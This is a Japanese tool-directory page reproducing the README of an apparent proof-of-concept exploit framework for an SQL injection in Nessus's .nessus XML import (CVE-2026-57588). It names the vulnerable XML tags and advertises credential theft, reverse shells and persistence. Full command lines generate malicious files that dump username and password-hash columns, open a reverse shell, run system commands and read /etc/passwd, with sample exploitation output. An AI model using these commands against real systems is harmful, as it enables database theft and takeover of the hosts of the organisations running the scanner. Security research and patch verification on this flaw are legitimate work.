Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC — CVE-2026-57588のPoC - Nessus 10.12.0のXMLインポートにおけるSQLインジェクション。データベースの列挙、認証情報の窃取、時間ベースのブラインドインジェクションのテストを行う悪意のある.nessusファイルを生成します。許可されたセキュリティ研究を対象としています。作者: Sudeepa Wanigarathna。10.12.1でパッチ適用済み。 | Kitploit
ツール/GitHubGitHub/cerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミング

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
データベースセキュリティ
GitHubcerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

CVE-2026-57588のPoC - Nessus 10.12.0のXMLインポートにおけるSQLインジェクション。データベースの列挙、認証情報の窃取、時間ベースのブラインドインジェクションのテストを行う悪意のある.nessusファイルを生成します。許可されたセキュリティ研究を対象としています。作者: Sudeepa Wanigarathna。10.12.1でパッチ適用済み。

リポジトリを見る
1233ヶ月前未レビュー

🛡️ CVE-2026-57588 - Nessus SQLインジェクション エクスプロイトフレームワーク

Security Research CVE Version Python License


📋 目次

  • 概要
  • 脆弱性の詳細
  • 機能
  • インストール
  • クイックスタート
  • 使用例
  • ペイロードタイプ
  • 高度なシナリオ
  • レポート
  • トラブルシューティング
  • セキュリティ上の考慮事項
  • ライセンス

🔍 概要

CVE-2026-57588 は、Tenable Nessus バージョン 10.12.0 以前 で発見された重大なSQLインジェクション脆弱性です。この脆弱性は .nessus スキャン結果ファイルをインポートする際のXML解析メカニズムに存在し、インポート権限を持つ認証済みユーザーがバックエンドのPostgreSQLデータベースに対して任意のSQLクエリを実行できるようになります。


⚠️ 脆弱性の詳細

項目値
CVE IDCVE-2026-57588
脆弱性の種類SQLインジェクション
影響を受ける製品Tenable Nessus 10.12.0 以前
修正バージョンNessus 10.12.1 以降
CVSSスコア4.3(中)
攻撃元区分ネットワーク
攻撃の複雑性低
必要な特権レベル認証済み(インポート権限)
ユーザー操作必要(ソーシャルエンジニアリング)
影響データ窃取、RCE

🔬 技術的詳細

この脆弱性は、インポート処理中にXMLタグ値がSQLクエリに組み込まれる前に十分なサニタイズが行われないために発生します。悪意のある攻撃者は、以下のようなXMLタグに特別に細工されたSQLインジェクションペイロードを含む .nessus ファイルを作成できます:

  • hostname
  • fqdn
  • os
  • system-type
  • mac-address
  • netbios-name

権限を持つユーザーが悪意のあるファイルをインポートすると、サニタイズされていない値がPostgreSQLバックエンドに対して実行され、以下が可能になります:

  • データベース列挙
  • データ窃取
  • コマンド実行
  • ファイルシステムアクセス
  • 永続化のインストール

✨ 機能

クリックして機能リストを展開

🎯 ペイロード管理

  • 目的別に分類された13種類以上のペイロードタイプ
  • テンプレートベースのペイロード生成
  • カスタムペイロードの作成と検証
  • パラメータ検証と構文チェック
  • SQL構文の検証

🚀 エクスプロイト機能

  • 並列実行対応のマルチステージエクスプロイト
  • データベースフィンガープリンティングと列挙
  • カスタムテーブル/カラム選択対応のデータ窃取
  • ターゲットシステムでのコマンド実行
  • ファイルシステムへのアクセスと読み取り
  • 対話型セッション付きリバースシェル
  • 永続化インストールメカニズム
  • 時間ベースブラインドSQLインジェクション
  • ブールベースブラインドSQLインジェクション
  • エラーベースSQLインジェクション
  • 高度なエクスプロイトのためのスタッククエリ
  • アウトオブバンドDNS窃取

📊 レポートとロギング

  • プロフェッショナルなスタイリングのHTMLレポート
  • ドキュメント用のMarkdownレポート
  • 自動化用のJSONレポート
  • クイックレビュー用のテキストレポート
  • 複数のレベルに対応したログローテーション
  • 詳細な実行統計
  • 整合性検証のためのファイルハッシュ

🛠️ 高度な機能

  • 設定可能なジョブ数による並列実行
  • ステルス操作のためのプロキシサポート
  • SSL/TLS証明書の処理
  • XML検証とスキーマチェック
  • ライブエクスプロイトのための対話モード
  • 信頼性のためのリトライメカニズム
  • 低速接続のためのタイムアウト設定

📦 プロフェッショナルツール

  • サブコマンドベースのCLI構造
  • 詳細・静粛モード
  • カラー端末出力
  • 長時間のタスク用進捗インジケータ
  • コンテナ化テスト用のDockerサポート
  • クロスプラットフォーム互換性(Linux、Windows、macOS)

📦 インストール

🐍 前提条件

  • Python 3.7 以降
  • pip(Pythonパッケージマネージャー)
  • Git(任意、クローン用)

🔧 クイックインストール

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

🐳 Dockerインストール

# Build the Docker image
docker build -t nessus-exploit .

# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

📦 パッケージインストール

# Install as a package
pip install -e .

# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum

🚀 クイックスタート

基本的な使い方

# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum

# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

コマンドヘルプ

# Show general help
python3 exploit.py --help

# Show generate command help
python3 exploit.py generate --help

# List all available payloads
python3 exploit.py list

💡 使用例

1. 基本的な列挙

python3 exploit.py generate -u https://test.com -p enum
期待される出力
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s

============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================

2. 高度なマルチステージエクスプロイト

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

3. データ窃取

# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

4. リバースシェル

# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

5. コマンド実行

# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

6. ファイル読み取り

# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

7. 時間ベースブラインドインジェクション

# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5

# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30

8. プロキシサポート付き

# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080

# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080

9. 並列実行

# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8

# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5

10. 詳細・静粛モード

# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log

# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q

📚 ペイロードタイプ

カテゴリ: フィンガープリンティング

ペイロード説明パラメータ
fingerprintデータベースのフィンガープリンティングなし

カテゴリ: UNION

ペイロード説明パラメータ
schema_dumpデータベーススキーマのダンプなし
data_exfilテーブルデータの抽出table、columns

カテゴリ: タイミング

ペイロード説明パラメータ
time_based時間ベースブラインドインジェクションdelay
boolean_blindブールベースブラインドcondition、delay
ツールをダウンロード